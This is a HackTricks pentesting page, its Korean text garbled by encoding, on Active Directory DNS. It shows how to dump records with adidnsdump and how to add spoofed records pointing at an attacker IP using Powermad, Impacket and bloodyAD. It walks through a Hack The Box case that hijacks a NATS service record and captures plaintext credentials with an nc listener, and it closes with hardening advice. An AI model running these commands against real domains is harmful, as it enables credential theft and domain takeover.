AD DNS ๋ ˆ์ฝ”๋“œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ์ ์œผ๋กœ Active Directory์—์„œ๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ Domain ๋˜๋Š” Forest DNS ์กด์˜ ๋ชจ๋“  DNS ๋ ˆ์ฝ”๋“œ๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” zone transfer์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค (AD ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉ์ž๋Š” DNS ์กด์˜ ํ•˜์œ„ ๊ฐ์ฒด๋ฅผ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

๋„๊ตฌ adidnsdump๋Š” ์กด ๋‚ด์˜ ๋ชจ๋“  DNS ๋ ˆ์ฝ”๋“œ๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ๋‚ด๋ณด๋‚ด๊ธฐํ•  ์ˆ˜ ์žˆ์–ด ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์˜ recon ๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,โ€ฆ)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones

# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r

cat records.csv

adidnsdump v1.4.0 (April 2025)๋Š” JSON/Greppable (--json) ์ถœ๋ ฅ, ๋ฉ€ํ‹ฐ์Šค๋ ˆ๋“œ DNS ํ•ด์„ ๋ฐ LDAPS ๋ฐ”์ธ๋”ฉ ์‹œ TLS 1.2/1.3 ์ง€์›์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค

For more information read https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/


๋ ˆ์ฝ”๋“œ ์ƒ์„ฑ / ์ˆ˜์ • (ADIDNS spoofing)

๊ธฐ๋ณธ์ ์œผ๋กœ Authenticated Users ๊ทธ๋ฃน์€ zone DACL์— Create Child ๊ถŒํ•œ์ด ์žˆ์–ด, ๋ชจ๋“  ๋„๋ฉ”์ธ ๊ณ„์ •(๋˜๋Š” ์ปดํ“จํ„ฐ ๊ณ„์ •)์€ ์ถ”๊ฐ€ ๋ ˆ์ฝ”๋“œ๋ฅผ ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” traffic hijacking, NTLM relay coercion ๋˜๋Š” full domain compromise์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PowerMad / Invoke-DNSUpdate (PowerShell)

Import-Module .\Powermad.ps1

# Add A record evil.domain.local โ†’ attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose

# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose

Impacket โ€“ dnsupdate.py (Python)

# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37

(dnsupdate.py๋Š” Impacket โ‰ฅ0.12.0์— ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค)

BloodyAD

bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37

์ผ๋ฐ˜์ ์ธ ๊ณต๊ฒฉ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ

  1. Wildcard record โ€“ *.<zone>๋Š” AD DNS ์„œ๋ฒ„๋ฅผ LLMNR/NBNS spoofing๊ณผ ์œ ์‚ฌํ•œ ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ ์ „์ฒด ์‘๋‹ต๊ธฐ๋กœ ๋ฐ”๊ฟ‰๋‹ˆ๋‹ค. NTLM ํ•ด์‹œ๋ฅผ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ LDAP/SMB๋กœ ๋ฆด๋ ˆ์ดํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (WINS-lookup ๋น„ํ™œ์„ฑํ™” ํ•„์š”.)
  2. WPAD hijack โ€“ wpad๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ ๊ณต๊ฒฉ์ž ํ˜ธ์ŠคํŠธ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” NS ๋ ˆ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€( Global-Query-Block-List ์šฐํšŒ)ํ•˜์—ฌ ์•„์›ƒ๋ฐ”์šด๋“œ HTTP ์š”์ฒญ์„ ํˆฌ๋ช…ํ•˜๊ฒŒ ํ”„๋ก์‹œํ•˜๊ณ  ์ž๊ฒฉ์ฆ๋ช…์„ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Microsoft๊ฐ€ wildcard/DNAME ์šฐํšŒ(CVE-2018-8320)๋ฅผ ํŒจ์น˜ํ–ˆ์ง€๋งŒ NS-records still work.
  3. Stale entry takeover โ€“ ์ด์ „์— ์›Œํฌ์Šคํ…Œ์ด์…˜์— ์†ํ•ด ์žˆ๋˜ IP ์ฃผ์†Œ๋ฅผ ์ธ๊ณ„๋ฐ›์œผ๋ฉด ์—ฐ๊ฒฐ๋œ DNS ์—”ํŠธ๋ฆฌ๋Š” ์—ฌ์ „ํžˆ ํ•ด์„๋˜์–ด resource-based constrained delegation ๋˜๋Š” Shadow-Credentials ๊ณต๊ฒฉ์„ DNS๋ฅผ ์ „ํ˜€ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ณ ๋„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  4. DHCP โ†’ DNS spoofing โ€“ ๊ธฐ๋ณธ Windows DHCP+DNS ๋ฐฐํฌ์—์„œ๋Š” ๋™์ผ ์„œ๋ธŒ๋„ท์˜ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์œ„์กฐ๋œ DHCP ์š”์ฒญ์„ ์ „์†กํ•ด ๋™์  DNS ์—…๋ฐ์ดํŠธ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•จ์œผ๋กœ์จ ๊ธฐ์กด์˜ ๋ชจ๋“  A ๋ ˆ์ฝ”๋“œ(๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ํฌํ•จ)๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (Akamai โ€œDDSpoofโ€, 2023). ์ด๋กœ ์ธํ•ด Kerberos/LDAP์— ๋Œ€ํ•œ machine-in-the-middle์ด ๊ฐ€๋Šฅํ•ด์ ธ ์ „์ฒด ๋„๋ฉ”์ธ ํƒˆ์ทจ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  5. Certifried (CVE-2022-26923) โ€“ ์ œ์–ดํ•˜๋Š” ๋จธ์‹  ๊ณ„์ •์˜ dNSHostName์„ ๋ณ€๊ฒฝํ•˜๊ณ  ์ผ์น˜ํ•˜๋Š” A ๋ ˆ์ฝ”๋“œ๋ฅผ ๋“ฑ๋กํ•œ ๋‹ค์Œ ํ•ด๋‹น ์ด๋ฆ„์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•˜์—ฌ DC๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Certipy๋‚˜ BloodyAD ๊ฐ™์€ ๋„๊ตฌ๋“ค์ด ์ด ํ๋ฆ„์„ ์™„์ „ํžˆ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค.

์˜ค๋ž˜๋œ ๋™์  ๋ ˆ์ฝ”๋“œ๋ฅผ ํ†ตํ•œ ๋‚ด๋ถ€ ์„œ๋น„์Šค ํ•˜์ด์žฌํ‚น (NATS ์‚ฌ๋ก€ ์—ฐ๊ตฌ)

๋™์  ์—…๋ฐ์ดํŠธ๊ฐ€ ๋ชจ๋“  ์ธ์ฆ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด ์—ด๋ ค ์žˆ์œผ๋ฉด, ๋“ฑ๋ก์ด ์ทจ์†Œ๋œ ์„œ๋น„์Šค ์ด๋ฆ„์„ ์žฌ๋“ฑ๋กํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์ธํ”„๋ผ๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Mirage HTB DC๋Š” DNS scavenging ์ดํ›„ nats-svc.mirage.htb ํ˜ธ์ŠคํŠธ๋ช…์„ ๋…ธ์ถœํ–ˆ์œผ๋ฏ€๋กœ, ๊ถŒํ•œ์ด ๋‚ฎ์€ ์‚ฌ์šฉ์ž๋Š” ๋ˆ„๊ตฌ๋‚˜ ๋‹ค์Œ์„ ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค:

  1. ๋ ˆ์ฝ”๋“œ๊ฐ€ ์—†๋Š”์ง€ ํ™•์ธํ•˜๊ณ  dig๋กœ SOA๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค:
dig @dc01.mirage.htb nats-svc.mirage.htb
  1. ๋ ˆ์ฝ”๋“œ๋ฅผ ์žฌ์ƒ์„ฑ ๊ทธ๋“ค์ด ์ œ์–ดํ•˜๋Š” ์™ธ๋ถ€/VPN ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ํ–ฅํ•˜๋„๋ก:
nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 300 A 10.10.14.2
> send
  1. Impersonate the plaintext service. NATS ํด๋ผ์ด์–ธํŠธ๋Š” ์ž๊ฒฉ ์ฆ๋ช…์„ ๋ณด๋‚ด๊ธฐ ์ „์— ํ•˜๋‚˜์˜ INFO { ... } ๋ฐฐ๋„ˆ๋ฅผ ๋ณผ ๊ฒƒ์œผ๋กœ ๊ธฐ๋Œ€ํ•˜๋ฏ€๋กœ, ์‹ค์ œ ๋ธŒ๋กœ์ปค์—์„œ ์ •๋‹นํ•œ ๋ฐฐ๋„ˆ๋ฅผ ๋ณต์‚ฌํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ๋น„๋ฐ€์„ ์ˆ˜์ง‘ํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค:
# Capture a single INFO line from the real service and replay it to victims
nc 10.10.11.78 4222 | head -1 | nc -lnvp 4222

Any client that resolves the hijacked name will immediately leak its JSON CONNECT frame (including "user"/"pass") to the listener. Running the official nats-server -V binary on the attacker host, disabling its log redaction, or just sniffing the session with Wireshark yields the same plaintext credentials because TLS was optional.

  1. Pivot with the captured creds โ€“ Mirage์—์„œ๋Š” ํƒˆ์ทจ๋œ NATS ๊ณ„์ •์ด JetStream ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜์—ฌ, ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ AD ์‚ฌ์šฉ์ž๋ช…/๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•œ ๊ณผ๊ฑฐ ์ธ์ฆ ์ด๋ฒคํŠธ๋“ค์ด ๋…ธ์ถœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ํŒจํ„ด์€ HTTP APIs, RPC, MQTT ๋“ฑ๊ณผ ๊ฐ™์ด ๋ณด์•ˆ๋˜์ง€ ์•Š์€ TCP ํ•ธ๋“œ์…ฐ์ดํฌ์— ์˜์กดํ•˜๋Š” ๋ชจ๋“  AD-integrated ์„œ๋น„์Šค์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค: DNS ๋ ˆ์ฝ”๋“œ๊ฐ€ ํ•˜์ด์žฌํ‚น๋˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๊ณง ๊ทธ ์„œ๋น„์Šค๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.


ํƒ์ง€ ๋ฐ ๋ณด์•ˆ ๊ฐ•ํ™”

  • ๋ฏผ๊ฐํ•œ ์กด์— ๋Œ€ํ•ด Authenticated Users์—๊ฒŒ Create all child objects ๊ถŒํ•œ์„ ํ—ˆ์šฉํ•˜์ง€ ๋ง๊ณ , ๋™์  ์—…๋ฐ์ดํŠธ๋Š” DHCP์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ „์šฉ ๊ณ„์ •์œผ๋กœ ์œ„์ž„ํ•˜์„ธ์š”.
  • ๋™์  ์—…๋ฐ์ดํŠธ๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด ์กด์„ Secure-only๋กœ ์„ค์ •ํ•˜๊ณ  DHCP์—์„œ Name Protection์„ ํ™œ์„ฑํ™”ํ•˜์—ฌ ์†Œ์œ ์ž ์ปดํ“จํ„ฐ ๊ฐ์ฒด๋งŒ ์ž์‹ ์˜ ๋ ˆ์ฝ”๋“œ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋„๋ก ํ•˜์„ธ์š”.
  • DNS Server ์ด๋ฒคํŠธ ID 257/252 (dynamic update), 770 (zone transfer) ๋ฐ CN=MicrosoftDNS,DC=DomainDnsZones๋กœ์˜ LDAP ์“ฐ๊ธฐ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”.
  • ์œ„ํ—˜ํ•œ ์ด๋ฆ„(wpad, isatap, *)์€ ์˜๋„์ ์œผ๋กœ ๋ฌดํ•ดํ•œ ๋ ˆ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ Global Query Block List๋ฅผ ํ†ตํ•ด ์ฐจ๋‹จํ•˜์„ธ์š”.
  • DNS ์„œ๋ฒ„๋ฅผ ์ตœ์‹  ํŒจ์น˜ ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜์„ธ์š” โ€” ์˜ˆ: RCE ๋ฒ„๊ทธ CVE-2024-26224 ๋ฐ CVE-2024-26231์€ CVSS 9.8์— ๋„๋‹ฌํ–ˆ์œผ๋ฉฐ Domain Controllers์— ๋Œ€ํ•ด ์›๊ฒฉ์œผ๋กœ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ